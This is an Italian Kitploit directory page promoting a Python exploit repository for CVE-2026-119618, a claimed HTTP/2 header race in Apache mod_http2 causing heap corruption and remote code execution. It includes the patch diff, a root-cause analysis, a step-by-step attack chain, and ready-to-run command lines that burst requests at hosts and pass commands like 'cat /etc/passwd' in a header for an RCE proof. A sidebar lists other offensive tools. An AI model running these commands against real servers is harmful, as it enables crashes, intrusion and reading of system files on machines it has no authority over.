Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/studiogangster/cve-2026-119618
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebFuzzingSicurezza di ReteTrojan di Accesso Remoto
GitHub
studiogangster/cve-2026-119618

CVE-2026-119618

Exploit HTTP/2 in Python per CVE-2026-119618, una race condition sugli header di richiesta in mod_http2 che causa corruzione dell'heap ed RCE in Apache httpd 2.4.55–2.4.70, con ambiente di test Docker.

Vedi Repository
23 giorni faNon ancora revisionato
Condividi

CVE-2026-119618 — Apache HTTP Server (mod_http2 / mod_h2)

Esecuzione concorrente che utilizza una risorsa condivisa con sincronizzazione impropria (CWE-362) nella tabella delle intestazioni di richiesta HTTP/2 → corruzione dell'heap → RCE.

CVSS9.8 (Critico)
Vulnerabilehttpd 2.4.55 – 2.4.70, standalone mod_h2 2.0.8 – 2.0.42
Corretto inhttpd 2.4.71 (rilasciato il 2026-11-11)
Patch upstream824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977)
ScopritoriAnthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell)

1. La patch upstream (cosa è cambiato)

Una riga in modules/http2/h2_request.c, all'interno di assign_headers():

--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
                 /* If we have a content-type, but already seen eos, no more
                  * data will come. Signal a zero content length explicitly.
                  */
-                apr_table_setn(req->headers, "Content-Length", "0");
+                apr_table_setn(r->headers_in, "Content-Length", "0");

Diff completo salvato: references/824beab_mod_http2_assign_headers.patch.

Il ramo vulnerabile viene eseguito solo quando tutte le seguenti condizioni valgono per una singola richiesta:

  • il metodo non è CONNECT;
  • la richiesta non ha un header Content-Length;
  • la richiesta ha un header Content-Type;
  • no_body è true — il client ha già inviato END_STREAM senza frame DATA (no_body == conn_ctx->beam_in == NULL, ovvero il corpo della richiesta non è mai stato bufferizzato perché lo stream trasportava END_STREAM al momento degli header).

2. Causa radice (derivata)

req->headers è la tabella degli header di h2_request. Tale tabella è una risorsa condivisa con due proprietari:

  1. thread c1 (session / multiplexer) — la riempie durante il parsing dei frame HEADERS del client: h2_stream_add_header() → h2_request_add_header() → h2_request_add_header scrive in req->headers.
  2. thread c2 (worker) — la consuma: h2_mplx → c2_process() → h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).

Nel codice vulnerabile l'ultima scrittura del ciclo di vita della richiesta — apr_table_setn(req->headers, "Content-Length", "0") — avveniva su un thread worker c2, su una tabella su cui il thread c1 potrebbe ancora stare scrivendo (la session continua a inviare/flushare frame per quello stream dopo che il worker c2 ha avviato c2_process). Due thread che modificano la stessa apr_table_t (rehash della hash-table / realloc degli elementi) senza lock → corruzione dell'heap.

r->headers_in, al contrario, viene creata all'inizio di assign_headers() come apr_table_clone(r->pool, req->headers) — una copia fresca per-richiesta nel pool del worker c2, mai toccata da c1. Il fix sposta semplicemente la scrittura lì, eliminando la scrittura sulla risorsa condivisa e la race.

3. Catena di attacco

  1. L'attaccante apre una connessione HTTP/2 (h2 su TLS, oppure h2c in chiaro) verso l'Apache vulnerabile (2.4.55–2.4.70 / mod_h2 2.0.8–2.0.42).
  2. Invia una richiesta che soddisfa le condizioni di trigger sopra: Content-Type presente, nessun Content-Length, flag END_STREAM impostato sul frame HEADERS (nessun corpo a seguire).
  3. Il worker c2 che elabora quella richiesta esegue la chiamata vulnerabile apr_table_setn(req->headers, …) mentre il thread c1 sta contemporaneamente accedendo alla stessa req->headers.
  4. Mutazione concorrente non sincronizzata di apr_table → corruzione dell'heap → RCE (o DoS se la corruzione è benigna / l'ASLR è ostile).
  5. Per forzare in modo affidabile la sovrapposizione, l'exploit lancia molti stream h2 concorrenti sulla stessa connessione: alcuni stream di trigger (la richiesta costruita) più un flood di richieste normali che occupano gli altri worker c2, così il lato c1 è occupato mentre il worker c2 esegue la scrittura vulnerabile.

Osservabile su un server live: uno stream riceve RST_STREAM, la connessione riceve un GOAWAY, oppure la connessione cade a metà burst (un crash). Un server 2.4.71 con patch risponde alla stessa singola richiesta normalmente — ed è per questo che la modalità --verify è uno smoke test e la modalità burst è ciò che forza la race.

4. L'exploit

cve_2026_119618_exploit.py — puro Python, pilota la macchina a stati HTTP/2 con il pacchetto h2 (nessuna dipendenza C). Per ogni round apre una connessione, negozia h2 (ALPN) o h2c, e lancia un burst serrato di stream triggers + flood in un singolo sendall() così che tutti i frame HEADERS (ciascuno con END_STREAM) arrivino al server uno dietro l'altro; poi osserva RST / GOAWAY / EOF.

Funziona su qualsiasi Apache vulnerabile con h2 abilitato — nessun CGI personalizzato, nessuna configurazione speciale del server richiesta. Il RST/EOF è la firma della corruzione; il flag --cmd è opzionale (per la prova di RCE su un banco di test con un endpoint RCE).

L'exploit decodifica gli HEADER della risposta con un decoder hpack raw (mantenuto separato dal decoder interno della libreria h2, che bufferizza i frame finché lo stream non viene chiuso da END_STREAM — un frame che il mod_h2 di Apache spesso non invia sulla risposta CGI a prova di RCE). È così che la prova RCE di X-Cmd-Out viene catturata in modo affidabile, anche quando la macchina a stati della libreria h2 non emette mai ResponseReceived.

pip install h2

# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
    --triggers 5 --flood 32 --rounds 500 -v

# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
    --triggers 5 --flood 32 --rounds 1000 -v

# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
    --triggers 5 --flood 32 --rounds 500 -v

# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify

# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
    --trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v

# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    668
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    496
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    394
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    339
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    258
  • 6

    antifox

    antifox-ai/antifox

    Piattaforma multi-agente di penetration testing autonoma basata sull'IA che esegue ricognizione, scoperta della superficie d'attacco, validazione dello sfruttamento e consegna di report supportati da evidenze.

    254

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →